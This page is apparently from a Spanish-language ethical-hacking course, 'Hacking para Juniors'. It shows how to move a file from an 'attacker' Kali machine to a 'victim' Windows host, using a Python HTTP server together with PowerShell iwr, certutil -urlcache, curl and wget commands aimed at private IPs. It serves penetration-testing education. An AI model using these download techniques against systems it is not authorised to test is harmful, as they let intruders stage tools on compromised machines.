🛡️
Hacking para Juniors - [CPPJ]
Comprar cursoYouTubeTwitterLinkedIn
  • La Biblia del Hacker
    • ADVERTENCIA
    • Aprende GRATIS con El Curso De Junior a Senior en Hacking
    • Conoce tu Academia
    • Aprende con nuestro curso
    • Conoce a tu instructor
  • Fundamentos de la ciberseguridad ofensiva
    • ÂżQue es el Ethical Hacking?
      • Tipos de Hackers
        • APTs (Advanced Persistent Threats)
    • ÂżQue es el pentesting?
      • Tipos de Caja en Pentesting
      • Tipos de tecnologia
      • Etapas de un pentest
        • Escalacion de privilegios
    • ÂżQuĂ© es un CVE?
    • ÂżQue es un escaneo de vulnerabilidades?
    • ÂżQue es un Red Team?
      • Command and Control
    • ÂżQue es la ingenieria social?
      • Kevin Mitnick
      • Libros Recomendados
    • El papel de los Juniors y la IA
  • OSINT for Juniors
    • Open-source intelligence (OSINT)
    • Tipos de fuentes OSINT
    • Herramientas para OSINT
    • Dorks de Google
  • OS for Juniors
    • Introduccion a Sistemas Operativos
    • Archivo y extensiones
    • Windows
      • Estructura del SO
        • Kernel De Windows
        • Servicios Importantes
        • Procesos en Windows
        • Registros en Windows
        • Gestion de archivos en Windows
      • Versiones relevantes
      • La importancia de identificar la version de windows durante una auditoria
      • Tips
    • Linux
      • Tips
    • Android
      • Versiones relevantes
      • Tips
    • IOS
      • Versiones Relevantes
      • Tips
    • macOS
      • Versiones Relevantes
      • Tips
    • Sistemas operativos para Hackers
    • Instalacion de Kali Linux
  • Networking for Juniors
    • ÂżQue es el Networking?
    • Fundamentos de Redes
    • Estructura de Redes
    • TopologĂ­as de Red
    • Modelo OSI (Open Systems Interconnection)
    • Modelo TCP/IP
    • IP (Internet Protocol)
    • TCP (Transmission Control Protocol)
    • UDP (User Datagram Protocol)
    • Protocolos de red
      • Protocolos de la capa de acceso al medio
      • Protocolos de la capa de red
      • Protocolos de la capa de transporte
      • Protocolos de la capa de aplicaciĂłn
      • Protocolos de aplicaciĂłn en correo electrĂłnico
    • Puertos y servicios
      • Puerto 21: FTP
      • Puerto 22: SSH
      • Puerto 23: Telnet
      • Puerto 25: - SMTP
      • Puerto 53: DNS
      • Puerto 80: HTTP
      • Puerto 443: HTTPS
      • Puerto 139 y 445: SMB - CIFS
      • Puerto 3389: RDP
      • Puerto 389: LDAP
      • Puerto 5000: Docker
      • Puerto 5900: VNC
  • Nmap for Juniors
    • ÂżQue es Nmap?
    • Tu Primer Nmap
    • Parametros de Nmap
    • Comandos utiles
    • Scripts de Nmap
  • Wi-Fi y Radiofrecuencias
    • Fundamentos de Wireless
    • Fundamentos del Hacking de Wi-Fi
    • Fundamentos en Radiofrecuencias
    • RFID (Radio Frequency Identification)
    • Infrarrojo (IR)
    • Bluetooth
    • NFC (Near Field Communication)
    • Herramientas de un hacker
    • Fundamentos en Hardware Hacking
  • AppWeb For Juniors
    • ÂżPorque deberia aprender hacking web?
    • Fundamentos de Aplicaciones Web
      • CĂłdigos de estado HTTP
    • Fundamentos de APIs
      • MĂ©todos HTTP
      • Practica Gratis
    • Cabeceras de seguridad
    • Analisis de certificados SSL
    • Mecanismos de autenticacion y autorizacion en AppWeb
    • Atacando CMS
    • La Seguridad en el Desarrollo de Aplicativos: Frameworks vs. Desarrollo Manual
    • OWASP Top Ten
  • Databases for Juniors
    • ÂżBase de Datos?
      • SQL
      • NoSQL
    • Puerto 6379: Redis
    • Puerto 27017: MongoDB
    • Puerto 5432: PostgreSQL
    • Puerto 3306: MySQL
    • Puerto 1433: Microsoft SQL Server
    • Puerto 1521: - Oracle Database
  • Transferencia de Archivos
    • Introduccion a la Transferencia de archivos
    • Descargando desde Windows
      • Utilizando LOLBAS
    • Descargando desde Linux
    • Despliegue de servicio HTTP
    • Despliegue de servicio SMB
    • Despligue de servicio FTP
    • Utilizando Base64
  • Fundamentos en Vulnerabilidades
    • ÂżQuĂ© es una Vulnerabilidad?
    • ÂżQuĂ© es un 0day?
    • Common Vulnerabilities and Exposures - [CVE]
    • RCE (Remote Code Execution)
    • Buffer Overflow
  • Malware For Junior
    • ÂżQue es Malware?
    • ÂżQue es un AntiVirus?
      • Microsoft Defender
    • ÂżQue es un EDR?
      • Mejores EDRs actuales
    • Desarrollo de Malware
    • Malware for Windows
      • Golang
      • Nim
      • C#
    • Ofuscacion de Malware
  • Shell
    • ÂżShell?
      • CMD (Command Prompt) en Windows
      • PowerShell en Windows
      • Bash en Unix/Linux
    • ÂżReverse Shell?
    • ÂżWeb Shell?
    • ÂżBind Shell?
    • Enumeracion de Windows
    • Enumeracion de Linux
  • Privilege Escalation for Juniors
    • ÂżQue es la escalacion de privilegios?
    • PrivEsc For Windows
      • WinPEAS
    • PrivEsc For Linux
      • LinPEAS
    • PrivEsc For Active Directory
    • PrivEsc For Cloud Computing
  • Tecnicas de persistencia
    • Fundamentos de Persistencia
    • Persistencia en Windows
    • Persistencia en Linux
    • Persistencia Avanzada
  • Pivoting for Juniors
    • ÂżQue es pivoting?
    • ÂżQue es Socks?
    • Doble Pivoting y Triple Pivoting
    • RPivot y Chisel
  • Active Directory For Juniors
    • Fundamentos de Active Directory
    • Utilizando ADPeas para el reconocimiento
  • Cloud Computing For Juniors
    • Fundamentos de cloud computing
    • Amazon Web Services
    • Microsoft Azure
    • Google Cloud Platform
  • Introduccion a Blue Team
    • ÂżBlue Team?
    • ÂżSOC?
    • ÂżThreat Hunting?
    • SIEM (Security Information and Event Management)
    • La fatiga del SOC
    • ÂżSOAR?
  • Defensas y herramientas de seguridad perimetral
    • Soluciones de Seguridad Perimetral Esenciales
    • Firewall
    • IDS (Intrusion Detection System)
    • IPS (Intrusion Prevention System)
    • WAF (Web Application Firewall)
    • Firewalls de PrĂłxima GeneraciĂłn (NGFW)
    • Gateways de Seguridad Web (SWG)
    • Gateways de Seguridad de Correo ElectrĂłnico (SEG)
    • Sistemas de PrevenciĂłn de Fugas de Datos (DLP)
    • Network Access Control (NAC)
  • Muchas gracias
    • 🛡️ ¡MuchĂ­simas Gracias por Participar! 🛡️
    • Importante
Con tecnologĂ­a de GitBook
En esta página
  • 1. Usando Invoke-WebRequest (IWR)
  • Máquina del Atacante:
  • Máquina VĂ­ctima:
  • 2. Usando Certutil
  • Máquina del Atacante:
  • Máquina VĂ­ctima:
  • 3. Usando Curl
  • Máquina del Atacante:
  • Máquina VĂ­ctima:
  • 4. Usando Wget
  • Máquina del Atacante:
  • Máquina VĂ­ctima:

ÂżTe fue Ăştil?

  1. Transferencia de Archivos

Descargando desde Windows

Máquina del Atacante: Kali Linux

Máquina Víctima: Windows

Archivo a Transferir: File.txt

1. Usando Invoke-WebRequest (IWR)

Máquina del Atacante:

Primero, navega al directorio local desde donde vas a subir el archivo a la máquina víctima. El comando Python ejecutado con “SimpleHTTPServer” en el puerto 80 crea y inicia instantáneamente el servidor web para acceder y transferir los archivos en el directorio de trabajo actual. Este es uno de los métodos más sencillos para transferir archivos.

Comando:

python -m SimpleHTTPServer 80

Máquina Víctima:

En la máquina víctima, ejecuta el siguiente comando en PowerShell para descargar el archivo desde la máquina atacante.

Comando:

powershell.exe -command iwr -Uri http://192.168.68.68/file.txt -OutFile C:\Temp\fileoutput.txt

Nota: iwr es la abreviatura de Invoke-WebRequest, que es una parte de la utilidad de Microsoft PowerShell.

También puedes probar con el siguiente comando:

powershell.exe iwr -uri http://192.168.1.2/file.txt -o C:\Temp\fileoutput.txt

2. Usando Certutil

El propósito original de certutil era para la gestión de certificados y Autoridades Certificadoras (CA), pero también puede ser utilizado para la transferencia de archivos.

Máquina del Atacante:

Usaremos el mismo SimpleHTTP Server en el puerto 80 en la máquina atacante para enviar el archivo desde ese directorio.

Comando:

python -m SimpleHTTPServer 80

Máquina Víctima:

En la máquina víctima, ejecuta el siguiente comando para descargar el archivo desde la máquina atacante.

Comando:

certutil -urlcache -f http://192.168.62.68/file.txt file.txt

3. Usando Curl

Curl es una herramienta de línea de comandos en Linux que se utiliza para compartir datos entre servidores y que ahora también está disponible en cmd de Windows.

Máquina del Atacante:

Usaremos el mismo SimpleHTTP Server en el puerto 80 en la máquina atacante para enviar el archivo desde ese directorio.

Comando:

python -m SimpleHTTPServer 80

Máquina Víctima:

En la máquina víctima, ejecuta el siguiente comando para descargar el archivo desde la máquina atacante.

Comando:

curl http://192.168.1.2/file.txt -o fileout.txt

4. Usando Wget

La función de wget es recuperar contenido desde servidores web disponibles. Ahora vamos a descargar un archivo desde la máquina atacante usando PowerShell en la máquina víctima.

Máquina del Atacante:

Ejecuta el SimpleHTTP Server en el puerto 80 en la máquina atacante para enviar el archivo desde ese directorio.

Comando:

python -m SimpleHTTPServer 80

Máquina Víctima:

Abre PowerShell en la máquina Windows y ejecuta el siguiente comando. Menciona la ruta desde la cual descargar el archivo y luego especifica la ruta de salida para guardar el archivo.

Comando:

wget http://192.168.1.2/file.txt -OutFile C:\Temp\fileoutput.txt
AnteriorIntroduccion a la Transferencia de archivosSiguienteUtilizando LOLBAS

Ăšltima actualizaciĂłn hace 11 meses

ÂżTe fue Ăştil?